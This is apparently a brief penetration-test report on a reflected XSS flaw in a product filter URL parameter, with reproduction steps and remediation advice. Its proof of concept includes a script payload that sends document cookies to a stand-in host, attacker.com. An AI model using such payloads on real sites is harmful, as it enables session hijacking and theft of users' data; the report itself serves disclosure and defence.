Penetration Testing Writeup: XSS in URL Parameter

Executive Summary

A penetration test on [Target Application] revealed a Reflected Cross-Site Scripting (XSS) vulnerability in a URL parameter. This flaw allows attackers to inject scripts that execute in users’ browsers, posing risks like session hijacking and data theft. This report details the vulnerability and remediation steps.

Vulnerability Details

Description

The product filter URL parameter is not sanitized, allowing attackers to inject malicious scripts that are reflected in the response and executed in the victim’s browser.

Impact

Proof of Concept

  1. Visit: https://[target-application]/products?filter=<script>alert('XSS');</script>.
  2. Observe an alert box.
  3. Malicious payload: <script>fetch('https://attacker.com/steal?cookie='+document.cookie);</script>.

Steps to Reproduce

  1. Navigate to https://[target-application]/products.
  2. Append ?filter=<script>alert('XSS');</script> to the URL.
  3. Load the URL and verify the alert.

Remediation Recommendations

  1. Input Sanitization:
    • Validate filter inputs to allow only safe characters.
  2. Output Encoding:
    • Encode outputs before rendering.
  3. Content Security Policy:
    • Use CSP: Content-Security-Policy: script-src 'self';.
  4. Developer Training:
    • Educate on secure coding practices.
  5. Security Audits:
    • Perform regular penetration tests.

Conclusion

The XSS vulnerability in [Target Application]’s product filter requires immediate action to protect users and maintain security.

References

URL XSS Example